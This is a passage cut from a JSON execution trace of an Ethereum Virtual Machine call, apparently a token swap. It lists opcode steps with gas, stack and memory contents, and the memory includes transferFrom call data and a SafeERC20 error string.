"0x0","0x324","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11960,"op":"ADD","gas":79206,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11961,"op":"ADD","gas":79203,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11962,"op":"MLOAD","gas":79200,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x344"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11963,"op":"DUP6","gas":79197,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11964,"op":"DUP5","gas":79194,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11965,"op":"PUSH1","gas":79191,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11967,"op":"PUSH2","gas":79188,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11970,"op":"SWAP2","gas":79185,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x0","0x1","0x2ec8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11971,"op":"SWAP1","gas":79182,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11972,"op":"PUSH2","gas":79179,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11975,"op":"JUMP","gas":79176,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x3b53"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15187,"op":"JUMPDEST","gas":79168,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15188,"op":"PUSH1","gas":79167,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15190,"op":"DUP3","gas":79164,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x324","0x2ec8","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","000000